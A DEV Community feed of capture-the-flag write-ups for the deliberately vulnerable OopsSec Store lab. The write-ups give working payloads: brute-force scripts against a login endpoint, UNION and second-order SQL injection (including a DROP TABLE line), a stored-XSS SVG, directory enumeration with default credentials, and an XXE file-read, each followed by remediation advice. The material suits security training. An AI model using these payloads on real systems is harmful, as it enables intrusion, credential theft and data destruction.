DEV Community: Oopssec Store

Brute-forcing a login endpoint with no rate limiting and MD5

Oopssec Store — Tue, 13 Oct 2026 19:00:00 +0000

Brute forcing a user password through an unprotected login endpoint using rockyou.txt.

The login endpoint on OopsSec Store has no rate limiting. No lockout either. You can point rockyou.txt at a known email and just wait.

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

The app runs at http://localhost:3000.

Reconnaissance

The News page (/news) has a "Leaked Data Sample" section simulating a published data breach. Three user records are exposed:

Email	Leaked data
`alice@example.com`	Email + MD5 hash
`bob@example.com`	Email + MD5 hash
`vis.bruta@example.com`	Email only

The first two have their MD5 hashes exposed, so those can be cracked offline. The third, vis.bruta@example.com, only has a confirmed email. No hash. That leaves one option: brute force the login directly.

Identifying the login endpoint

Submitting credentials through the form at /login sends a POST to /api/auth/login:

{
  "email": "vis.bruta@example.com",
  "password": "test"
}

Every failed attempt returns a 401 with {"error": "Invalid password"}. Send a hundred requests, send a thousand. Same response. No rate limiting, no lockout, no delay.

Exploitation

Preparing the wordlist

rockyou.txt is the obvious choice here: over 14 million passwords from a real data breach. If the password is anything common, it's in there.

Brute forcing with a bash loop

This script reads passwords from the wordlist and sends each one to the login endpoint until it gets a hit:

while read password; do
  response=$(curl -s -X POST http://localhost:3000/api/auth/login \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"vis.bruta@example.com\",\"password\":\"$password\"}")

  if echo "$response" | grep -q "token"; then
    echo "Password found: $password"
    echo "$response"
    break
  fi
done < rockyou.txt

It checks for a token field in each response (only present on success). With nothing throttling requests, this runs through hundreds of passwords per second.

Alternative: brute forcing with Python

import requests

url = "http://localhost:3000/api/auth/login"
email = "vis.bruta@example.com"

with open("rockyou.txt", "r", encoding="latin-1") as f:
    for password in f:
        password = password.strip()
        response = requests.post(url, json={
            "email": email,
            "password": password
        })

        if response.status_code == 200:
            data = response.json()
            if "token" in data:
                print(f"Password found: {password}")
                print(f"Flag: {data.get('flag')}")
                break

Result

Password found: sunshine

sunshine sits near the top of rockyou.txt. The whole thing finishes in seconds.

Capturing the flag

Email: vis.bruta@example.com
Password: sunshine

A toast notification pops up with the flag:

OSS{brut3_f0rc3_n0_r4t3_l1m1t}

The flag also comes back in the API's JSON response.

Vulnerable code analysis

Here's the login handler in /app/api/auth/login/route.ts:

export async function POST(request: Request) {
  try {
    const body = await request.json();
    const { email, password } = body;

    // No rate limiting, no account lockout, no delay

    const hashedPassword = hashMD5(password);
    const user = await prisma.user.findUnique({
      where: { email },
    });

    if (!user || user.password !== hashedPassword) {
      return NextResponse.json(
        { error: "Invalid password" },
        { status: 401 }
      );
    }

    // Authentication proceeds
  }
}

No throttling, no abuse detection. The endpoint accepts unlimited attempts from any source at any speed. Failed attempts aren't tracked, so the account never locks. MD5 is fast enough that each guess costs the server almost nothing. The uniform "Invalid password" error is fine for preventing username enumeration, but it also means the server gives no sign it's noticed anything unusual.

Remediation

Rate limiting

Cap login attempts per time window. Five attempts per 15 minutes, scoped by IP or account, is a common threshold:

import rateLimit from "express-rate-limit";

const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 5,
  message: { error: "Too many login attempts. Please try again later." },
  standardHeaders: true,
  legacyHeaders: false,
});

That alone kills high-speed brute force.

Account lockout

Track failed attempts per account and lock it temporarily after too many failures:

const MAX_FAILED_ATTEMPTS = 5;
const LOCKOUT_DURATION = 15 * 60 * 1000; // 15 minutes

if (user.failedLoginAttempts >= MAX_FAILED_ATTEMPTS) {
  const lockoutEnd = new Date(
    user.lastFailedLogin.getTime() + LOCKOUT_DURATION
  );
  if (new Date() < lockoutEnd) {
    return NextResponse.json(
      { error: "Account temporarily locked. Try again later." },
      { status: 429 }
    );
  }
}

This handles distributed attacks where requests come from different IPs, which would slip past IP-based rate limits alone.

Using a slower hash function

MD5 is a bad fit for passwords. It's fast by design, letting attackers compute billions of hashes per second on modern hardware. It also uses no salt, so identical passwords always produce identical hashes. Rainbow tables make short work of that.

bcrypt fixes both. Each hash gets its own random salt, so two users with the same password produce different outputs. The work factor is adjustable: you decide how expensive each verification should be. Even without rate limiting, the cost per guess makes brute force impractical.

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx

…

View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Do not exploit vulnerabilities on systems you don’t have explicit authorization to test. Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

Prisma Keeps You Safe Until You Reach for exec() — A SQLi Story.

Oopssec Store — Wed, 07 Oct 2026 19:00:00 +0000

How a crafted display name stored through a product review becomes a SQL injection payload when an admin filters reviews on the moderation panel.

This writeup walks through a second-order SQL injection in OopsSec Store's review moderation feature. The twist compared to a classic SQL injection: the payload doesn't execute when it's submitted. It sits harmlessly in the database until the application feeds it into a different, unparameterized query.

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

The app runs at http://localhost:3000.

Target identification

The application lets users submit product reviews with a customizable "Display name" field. Instead of defaulting to their email address, users pick how their name shows up on reviews.

The admin panel has a "Review Moderation" section at /admin/reviews where admins can view and filter all reviews by author. The filter is a dropdown populated with distinct author names from the database.

Understanding second-order injection

In a classic (first-order) SQL injection, the payload executes at the point of input. In a second-order attack, the malicious input is stored safely first and only executes later when the application reuses it in a different, unsafe context.

The developer mistake: assuming that data from your own database is trustworthy and doesn't need parameterization.

Exploitation

Step 1: Store the payload

Log in with any account (e.g., alice@example.com / iloveduck), open any product page and submit a review. The "Display name" field is the sink: whatever goes in there is stored verbatim and rebuilt into a raw query later. Start with a probe that closes the author filter and merges a second result set:

x' UNION SELECT 1, 2, 3, 4, 5, 6 --

Write anything in the review body and submit. Nothing happens yet — the review is stored through Prisma, parameterized, and the payload is just a string sitting in a column.

Step 2: Gain admin access

To access the admin panel, you need admin privileges. You can get there through other vulnerabilities in the lab (Mass Assignment, JWT forgery, SQL Injection with Weak MD5, etc).

Step 3: Trigger the injection

Navigate to /admin/reviews. The moderation panel lists every review and offers a "Filter by author" dropdown, populated with the distinct author names in the database — yours included.

Select it. If the column count is wrong, the panel says so, which is how you find out the query returns six of them:

{
  "error": "SELECTs to the left and right of UNION do not have the same number of result columns"
}

Each correction means posting a new review with the adjusted display name — the payload only ever arrives through storage.

The panel is also happy to run several statements at once, because the filter goes through better-sqlite3's exec(). A display name like '; DROP TABLE reviews; -- really does wipe the reviews table, so, if you want to try, keep that one for after you have the flag.

To recover, run npm run db:push && npm run db:seed: db:push recreates the missing table, and the seed needs it back before it can read it. Your captured flags survive both steps; the three demo orders go back to their seeded state.

Step 4: Enumerate the schema

Store a display name that reads SQLite's own catalogue:

x' UNION SELECT 1, 2, group_concat(name), 4, 5, 6 FROM sqlite_master WHERE type='table' --

Filter by it, and the third column of the injected row lists every table:

users,products,carts,cart_items,orders,order_items,addresses,flags,hints,revealed_hints,reviews,support_access_tokens,found_flags,project_init,internal_secrets,visitor_logs,wishlists,wishlist_items,password_reset_tokens,supplier_orders,coupons,gift_cards,stream_config,sqlite_sequence

flags is walled off — naming it returns 403, and any OSS{…} value is stripped from the response before it leaves the server. internal_secrets is not.

Its slugs are readable the same way, so there is nothing to guess. Store one more display name:

x' UNION SELECT 1, 2, group_concat(slug), 4, 5, 6 FROM internal_secrets --

product-search-sql-injection,second-order-sql-injection,sql-injection,x-forwarded-for-sql-injection

One row per injection challenge, each named after the challenge it belongs to.

Step 5: Read the canary

This panel only looks for its own token. Post one last review under this display name:

x' UNION SELECT 1, 2, token, 4, 5, 6 FROM internal_secrets WHERE slug='second-order-sql-injection' --

Filter by it on the moderation panel:

{
  "reviews": [
    {
      "id": 1,
      "productId": 2,
      "content": "CANARY-SECOND-ORDER-SQL-INJECTION-9dcc7a53b1ba",
      "author": 4
    }
  ],
  "flag": "OSS{s3c0nd_0rd3r_sql_1nj3ct10n}",
  "message": "Internal secret exfiltrated through a stored review author! Well done!"
}

The token is generated when the lab is seeded, so it differs on every instance: returning it proves the stored name was executed as SQL.

Dropping the WHERE works just as well: all four rows come back and the panel finds its own token among them. The filter keeps the response readable, it is not a requirement.

Vulnerable code analysis

The vulnerability is in the admin reviews API endpoint at /api/admin/reviews:

// Reviews are stored safely via Prisma ORM (parameterized)
const review = await prisma.review.create({
  data: { productId: id, content, author }, // Safe
});

// But later reused unsafely via raw SQLite driver with multi-statement support
const db = new Database(getDbPath());
const query = `
  SELECT r.id, r.content, r.author, ...
  FROM reviews r
  WHERE r.author = '${authorFilter}'   // VULNERABLE
`;
db.exec(query); // exec() runs ALL statements, including DROP TABLE

The developer trusted the author value because it came from the application's own database dropdown, not directly from user input. Using exec() instead of prepare() makes it worse: exec() allows multi-statement execution, so a DROP TABLE slipped into the query string will actually run.

Remediation

Replace the raw SQL query with Prisma's parameterized query builder:

// SECURE - Use Prisma's built-in parameterization
const reviews = await prisma.review.findMany({
  where: { author: authorFilter },
  include: { product: { select: { name: true } } },
  orderBy: { createdAt: "desc" },
});

The root issue is treating database-sourced data as safe. It isn't. Parameterize every query regardless of where the data comes from. For filter dropdowns like this one, an allowlist of valid values is even better since the set of authors is known ahead of time.

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx

…

View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

Exfiltrating a Hidden Secret Through a Search Bar with UNION SELECT

Oopssec Store — Thu, 01 Oct 2026 19:00:00 +0000

How to exploit a vulnerability in a tiny search box to quietly expose an entire database.

Introduction

This writeup walks through a SQL injection in the product search feature. The search input gets dropped straight into a raw SQL query with no sanitization, so you can manipulate the query to pull data from tables the catalogue never touches. A payload that merely looks like SQL earns nothing here: the flag is handed over only once the response carries a row the search could never have returned.

Lab setup

Spin up the lab locally:

npx create-oss-store oss-store
cd oss-store
npm run dev

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

The app runs at http://localhost:3000.

Feature overview and attack surface

The target here is the product search bar in the navigation header. It lets users search products by name or description, hitting this endpoint:

/api/products/search?q=<search_term>

On the backend, the q parameter gets interpolated directly into a SQL query. No escaping, no parameterization. Whatever you type becomes part of the SQL statement.

You can close the intended query context and tack on your own UNION SELECT.

Exploitation procedure

Initial behavior verification

Start by searching for something normal, like fresh. You should get product results back, confirming the endpoint works and actually uses the q parameter.

Injection probing

Now try this payload:

' UNION SELECT 1,2,3,4,5--

A row of 1,2,3,4,5 shows up among the products: the single quote broke out of the LIKE clause and the UNION SELECT merged in. The response also tells you the injection is not the finish line:

{
  "message": "SQL syntax detected in the search term. The flag tracks one specific internal secret, and it is not in these rows."
}

Getting the column count wrong is just as informative, because SQLite's error comes straight back, as an HTTP 500:

{
  "error": "\nInvalid `prisma.$queryRawUnsafe()` invocation:\n\n\nRaw query failed. Code: `1`. Message: `SELECTs to the left and right of UNION do not have the same number of result columns`",
  "products": []
}

Five columns it is.

UNION-based data extraction

Time to pull real data. Submit this:

DELIVERED' UNION SELECT id, email, password, role, addressId FROM users--

This merges the users table into the product results. The app doesn't check where the columns came from, so it happily returns user credentials alongside product listings.

Same thing via curl:

curl "http://localhost:3000/api/products/search?q=DELIVERED%27%20UNION%20SELECT%20id%2C%20email%2C%20password%2C%20role%2C%20addressId%20FROM%20users--"

Schema enumeration

Credentials are loot, not the flag. What the endpoint rewards is reading a row no product search would ever return, so ask SQLite what else lives in there:

' UNION SELECT 1, group_concat(name), 'x', 1, 'y' FROM sqlite_master WHERE type='table'--

users,products,carts,cart_items,orders,order_items,addresses,flags,hints,revealed_hints,reviews,support_access_tokens,found_flags,project_init,internal_secrets,visitor_logs,wishlists,wishlist_items,password_reset_tokens,supplier_orders,coupons,gift_cards,stream_config,sqlite_sequence

flags is a dead end: any payload naming that table gets a 403, and every OSS{…} value is stripped out of the response before it leaves the server. internal_secrets is the one to look at:

' UNION SELECT 1, sql, 'x', 1, 'y' FROM sqlite_master WHERE name='internal_secrets'--

CREATE TABLE "internal_secrets" ("id" TEXT NOT NULL PRIMARY KEY, "slug" TEXT NOT NULL, "token" TEXT NOT NULL)

The schema names a slug column but says nothing about its values. Read those rather than guessing them:

' UNION SELECT 1, group_concat(slug), 'x', 1, 'y' FROM internal_secrets--

product-search-sql-injection,second-order-sql-injection,sql-injection,x-forwarded-for-sql-injection

One row per injection challenge, each named after the challenge it belongs to.

Claiming the flag

This endpoint only looks for its own token, so ask for the product-search-sql-injection row:

' UNION SELECT 1, token, 'x', 1, 'y' FROM internal_secrets WHERE slug='product-search-sql-injection'--

An empty LIKE matches every product, so the whole catalogue comes back and the
injected row sits among it — the literal 1 in the first column is what marks it:

{
  "products": [
    {
      "id": "cmua7d4i4000gienxfk8q9c9l",
      "name": "Artisan Cheese Board",
      "…": "…"
    },
    {
      "id": "1",
      "name": "CANARY-PRODUCT-SEARCH-SQL-INJECTION-d12a4cdea6d3",
      "description": "x",
      "price": "1",
      "imageUrl": "y"
    }
  ],
  "flag": "OSS{pr0duct_s34rch_sql_1nj3ct10n}",
  "message": "Internal secret exfiltrated through the product search! Well done!"
}

The token is generated when the lab is seeded, so it differs on every instance — returning it is proof the query ran.

Dropping the WHERE works just as well: all four rows come back and the endpoint finds its own token among them. The filter keeps the response readable, it is not a requirement.

Vulnerable code analysis

Here's the problem. The query is built with string concatenation:

const sqlQuery = `
  SELECT 
    id,
    name,
    description,
    price,
    "imageUrl"
  FROM products
  WHERE name LIKE '%${query}%' OR description LIKE '%${query}%'
  ORDER BY name ASC
  LIMIT 50
`;

const results = await prisma.$queryRawUnsafe(sqlQuery);

The query parameter is dropped directly into the SQL string, and $queryRawUnsafe does exactly what the name suggests — it skips Prisma’s parameterization entirely. No escaping either. Single quotes, comment delimiters, anything goes.

So when you send:

DELIVERED' UNION SELECT ...

the quote closes the LIKE clause, and everything after it runs as SQL. The database user can read other tables, so the users table comes back for free.

This is CWE-89: Improper Neutralization of Special Elements used in an SQL Command.

Remediation

Don't build SQL queries with string interpolation. Use Prisma's query builder instead:

const results = await prisma.product.findMany({
  where: {
    OR: [
      { name: { contains: query, mode: "insensitive" } },
      { description: { contains: query, mode: "insensitive" } },
    ],
  },
});

User input stays data, never becomes executable SQL.

If you need raw SQL with Prisma, use $queryRaw (parameterized), not $queryRawUnsafe. With MySQL and no ORM, use prepared statements. You should also restrict the database user's permissions so that even if someone does find an injection, the damage is limited. Logging unusual query patterns helps too — you want to know when someone is poking at your search bar with UNION SELECT.

Go further

The leaked data includes an admin email with an MD5 password hash. MD5 is trivially crackable at this point, so you can try recovering the password offline and logging in as admin. From there, you'd have access to restricted endpoints where other flags might be hiding.

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx

…

View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

I uploaded a green square to a Next.js store and got stored XSS

Oopssec Store — Fri, 25 Sep 2026 19:00:00 +0000

Upload a malicious SVG to the admin product image field and get stored XSS that fires for every visitor.

The admin panel in OopsSec Store lets you upload product images, including SVGs. Since SVG is just XML, you can embed a <script> tag in one, upload it as a product image, and the JavaScript runs in the browser of anyone who views that product.

Prerequisites

You need admin access. Two attack chains can get you there:

Do those first.

Lab setup

If OopsSec Store isn't already running locally:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

Once it's up, go to http://localhost:3000 and log in with the admin credentials you recovered.

Vulnerability overview

The admin panel has a product editor where you can upload images. SVG is in the list of allowed formats, and that's the whole problem: SVG files can contain JavaScript.

Two things make this exploitable:

The server only checks the Content-Type header, which the client controls entirely
The frontend renders SVGs with an <object> tag, which executes embedded scripts (an <img> tag would not)

Upload a malicious SVG as a product image, and the script runs for every user who loads that product page, the admin preview included.

Exploitation

Finding the upload

Go to http://localhost:3000/admin/products. You can edit any product and swap its image.

Crafting the SVG

Create xss.svg:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
  <rect width="100" height="100" fill="#4ade80"/>
  <script type="text/javascript">
    alert('XSS executed!');
  </script>
</svg>

Just a green square with an alert().

Uploading it

Pick a product to edit
Upload xss.svg as its image
Save

The server doesn't inspect the file contents. You get the flag right after a successful upload.

Triggering execution

The script fires on the product page (/products/[product-id]), in the admin panel preview, and if you access the file directly at /api/uploads/[filename].svg. The browser parses the SVG, hits the <script>, and runs it.

Vulnerable code analysis

Server-side: header-only validation

The upload endpoint checks file.type, which is just the Content-Type header from the request. The client sets that, so it means nothing:

const ALLOWED_CONTENT_TYPES = [
  "image/jpeg",
  "image/png",
  "image/gif",
  "image/webp",
  "image/svg+xml", // SVG files can contain JavaScript
];

if (!ALLOWED_CONTENT_TYPES.includes(file.type)) {
  return NextResponse.json({ error: "Invalid file type" }, { status: 400 });
}

No magic byte inspection, no content scanning. Whatever the client says the file is, the server believes.

Frontend: `<object>` tag rendering

The product page uses <object> for SVGs:

{
  product.imageUrl.endsWith(".svg") ? (
    <object
      data={product.imageUrl}
      type="image/svg+xml"
      className="h-full w-full object-cover"
    >
      <img src={product.imageUrl} alt={product.name} />
    </object>
  ) : (
    <Image src={product.imageUrl} alt={product.name} />
  );
}

<object> treats the SVG as a full document and runs scripts inside it. An <img> tag would render the SVG but block script execution.

Remediation

The fix has three parts, and you should apply all of them. Any one alone would stop this particular exploit, but defense in depth matters when you're handling user uploads.

First, stop trusting the Content-Type header and inspect the actual bytes:

import { fileTypeFromBuffer } from "file-type";

const buffer = Buffer.from(await file.arrayBuffer());
const detectedType = await fileTypeFromBuffer(buffer);

const SAFE_MIME_TYPES = ["image/jpeg", "image/png", "image/gif", "image/webp"];

if (!detectedType || !SAFE_MIME_TYPES.includes(detectedType.mime)) {
  return NextResponse.json({ error: "Invalid file type" }, { status: 400 });
}

SVG isn't on the safe list, so this blocks the upload entirely. If you actually need SVG support, sanitize it server-side with DOMPurify before saving:

import DOMPurify from "isomorphic-dompurify";

if (file.type === "image/svg+xml") {
  const svgContent = buffer.toString("utf-8");
  const sanitizedSvg = DOMPurify.sanitize(svgContent, {
    USE_PROFILES: { svg: true, svgFilters: true },
  });
  buffer = Buffer.from(sanitizedSvg);
}

This strips <script> tags and event handlers from the SVG content.

Finally, serve uploaded files with headers that prevent script execution regardless of what got through:

// next.config.js
headers: [
  {
    source: "/api/uploads/:path*",
    headers: [
      { key: "Content-Security-Policy", value: "script-src 'none'" },
      { key: "X-Content-Type-Options", value: "nosniff" },
    ],
  },
];

script-src 'none' blocks all script execution in the response. nosniff stops browsers from guessing a different content type.

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx

…

View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

Dumping Every User's Plaintext Password Without Touching the Database

Oopssec Store — Sat, 19 Sep 2026 19:00:00 +0000

Exploiting a forgotten debug statement that logs plaintext passwords and a hidden SIEM dashboard with hardcoded credentials to retrieve a flag.

Someone left a debug log in the login route that dumps passwords in plaintext. Those logs end up on a hidden SIEM dashboard protected by default credentials. We'll find it, log in, and read everyone's passwords.

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

The app runs at http://localhost:3000.

Reconnaissance

Login mechanism

There's a login form at /login. Submitting credentials sends a POST to /api/auth/login with a JSON body:

{
  "email": "alice@example.com",
  "password": "test"
}

The response doesn't leak anything useful whether login succeeds or fails.

Directory enumeration

Run gobuster (or any directory brute-forcer) against the app:

gobuster dir -u http://localhost:3000 -w /usr/share/seclists/Discovery/Web-Content/common.txt

/monitoring shows up, which is worth poking at. Enumerate one level deeper:

gobuster dir -u http://localhost:3000/monitoring -w /usr/share/seclists/Discovery/Web-Content/common.txt

This turns up /monitoring/siem -- not linked anywhere in the app.

The SIEM dashboard

Hit http://localhost:3000/monitoring/siem and you get a login form titled "SIEM Console -- Internal Monitoring System."

An internal log viewer sitting on a public port. Promising.

Bypassing SIEM authentication

Internal tool, hastily deployed -- default credentials are always worth a shot:

Username	Password
admin	admin
root	admin
root	root
admin	password

root / admin gets us in.

Triggering the credential leak

The dashboard is empty until someone actually logs in. Fire off a login attempt on the main app:

curl -X POST http://localhost:3000/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"alice@example.com","password":"iloveduck"}'

Reading the logs

Back on the SIEM dashboard, the log table shows all captured log output. Search for [auth] or login attempt and you'll see something like:

[auth] login attempt email=alice@example.com password=iloveduck flag=OSS{pl41nt3xt_p4ssw0rd_1n_l0gs}

The flag is OSS{pl41nt3xt_p4ssw0rd_1n_l0gs}.

Vulnerability chain

Four things had to go wrong for this to work:

CWE-532 -- A logger.warn call in the login route dumps the email, password, and flag in the log message on every attempt.
CWE-312 -- The structured logger writes these entries to logs/app.log in cleartext.
CWE-200 -- The SIEM dashboard at /monitoring/siem is unlisted but easy to find with directory enumeration.
CWE-798 -- The SIEM login uses default credentials (root:admin).

Remediation

Don't log request bodies or sensitive fields. Even with a structured logging library like Pino, use field redaction so passwords can't end up in output even if someone forgets.

Treat logs as sensitive data. Access controls, encryption at rest, retention policies -- if logs contain anything that could identify a user, they need the same care as a database.

Internal tools need real credentials. Default passwords on an internal dashboard are fine until the dashboard is reachable from the internet. Use a secrets manager or SSO; never ship root:admin.

Review log messages for sensitive data during code review. A structured logger doesn't prevent developers from embedding credentials in the message string itself.

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx

…

View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

An error message gave me the path. The XML parser gave me the file

Oopssec Store — Sun, 13 Sep 2026 19:00:00 +0000

Exploiting an insecure XML parser in the supplier order import feature to read arbitrary server-side files and retrieve a flag.

The OopsSec Store admin panel has a supplier order import page that parses XML. The parser resolves external entities, so we can use it to read arbitrary files off the server.

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

Head to http://localhost:3000.

Prerequisites -- gaining admin access

The import feature is admin-only. You'll need to get admin access first through another vulnerability.

Reconnaissance

The supplier import page

Once you have admin access, the dashboard at /admin has a "Supplier Orders" link pointing to /admin/suppliers.

The page has a textarea for pasting XML and an "Import Order" button. A sample template is already filled in:

<?xml version="1.0" encoding="UTF-8"?>
<order>
  <supplierId>SUP-001</supplierId>
  <orderId>PO-2026-0042</orderId>
  <total>1250.00</total>
  <notes>Standard delivery — net 30 terms</notes>
</order>

The API

Submitting the form sends a POST to /api/admin/suppliers/import-order with Content-Type: application/xml. The response comes back with the parsed fields:

{
  "message": "Supplier order imported successfully.",
  "order": {
    "id": "...",
    "supplierId": "SUP-001",
    "orderId": "PO-2026-0042",
    "total": 1250,
    "notes": "Standard delivery — net 30 terms",
    "createdAt": "..."
  }
}

The notes field comes straight from the XML input. That's our injection point.

Exploiting the XXE vulnerability

The target file

Send malformed XML (missing required fields, bad structure) and the endpoint gives back verbose errors. The response includes a debug object that leaks the absolute path to a file:

{
  "error": "Missing required fields: supplierId and orderId.",
  "debug": {
    "config": "/absolute/path/to/flag-xxe.txt",
    "received": { "supplierId": null, "orderId": null }
  }
}

That's flag-xxe.txt at the project root.

The payload

XML supports Document Type Definitions (DTDs) that let you define entities. A SYSTEM entity tells the parser to load content from an external resource:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE order [
  <!ENTITY xxe SYSTEM "file:///absolute/path/to/flag-xxe.txt">
]>
<order>
  <supplierId>SUP-001</supplierId>
  <orderId>PO-2026-0001</orderId>
  <total>0</total>
  <notes>&xxe;</notes>
</order>

When the parser hits &xxe;, it reads the file and drops its contents into notes.

Send it

Paste it into the import form, or fire it off with curl:

curl -X POST http://localhost:3000/api/admin/suppliers/import-order \
  -H "Content-Type: application/xml" \
  -H "Cookie: authToken=<your-admin-jwt>" \
  -d '<?xml version="1.0"?><!DOCTYPE order [<!ENTITY xxe SYSTEM "file:///absolute/path/to/flag-xxe.txt">]><order><supplierId>SUP-001</supplierId><orderId>PO-XXE</orderId><total>0</total><notes>&xxe;</notes></order>'

The flag

The file contents come back in notes:

{
  "message": "Supplier order imported successfully.",
  "order": {
    "supplierId": "SUP-001",
    "orderId": "PO-XXE",
    "total": 0,
    "notes": "# Supplier Integration API Configuration\n# Generated automatically — do not edit\n\napi_key=OSS{xml_3xt3rn4l_3nt1ty_1nj3ct10n}\nendpoint=https://suppliers.oss-store.internal/api/v2\ntimeout=30000\n"
  }
}

The flag is OSS{xml_3xt3rn4l_3nt1ty_1nj3ct10n}.

Secure implementation

// VULNERABLE — resolves external entities from user input
const doc = libxmljs.parseXmlString(rawXml, { noent: true, dtdload: true });

// SECURE — disable DTD processing entirely
const doc = libxmljs.parseXmlString(rawXml);
// Additionally: strip or reject any DOCTYPE declarations before parsing

After the fix:

Vulnerability chain

This exploit chains two bugs:

Admin access, for example via JWT forgery (CWE-347) or mass assignment (CWE-915)
